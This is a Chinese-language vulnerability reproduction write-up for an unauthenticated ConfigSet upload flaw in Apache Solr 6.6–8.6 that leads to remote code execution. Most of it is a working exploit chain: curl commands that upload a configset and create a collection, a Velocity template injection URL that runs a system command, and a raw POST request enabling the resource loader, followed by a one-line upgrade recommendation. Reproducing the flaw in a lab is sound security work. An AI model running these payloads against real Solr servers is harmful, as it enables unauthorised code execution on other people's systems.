简介

 

Solr是一个独立的企业级搜索应用服务器

漏洞概述

 

ConfigSet API 中存在未授权上传漏洞风险，被利用可能导致 RCE （远程代码执行）

影响版本

 

Apache Solr 6.6.0 -6.6.5 Apache Solr 7.0.0 -7.7.3 Apache Solr 8.0.0 -8.6.2

 

 

环境搭建

 

本次测试环境solr-7.0.1

http://archive.apache.org/dist/lucene/solr/7.0.1/

启动solr

solr.cmd start -c

访问http://127.0.0.1:8983

漏洞复现

 

进入

server/solr/configsets/sample_techproducts_configs/conf 目录

执行

zip -r - * > mytest.zip

然后把zip上传上去

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=file1"

创建一个新的配置

curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"

根据CREATE得到的新configset创建恶意collection

curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"

命令执行

http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

如果不成功可以检查下params.resource.loader.enabled的值设置为true

发送post包修改为true即可

POST /solr/file2/config HTTP/1.1 Host: 192.168.56.1:8983 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: wp-settings-time-1=1601959792 Upgrade-Insecure-Requests: 1 X-Forwarded-For: 8.8.8.8 Cache-Control: max-age=0 Content-Length: 261 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }

修复建议

 

升级到安全版本

http://archive.apache.org/dist/lucene/solr/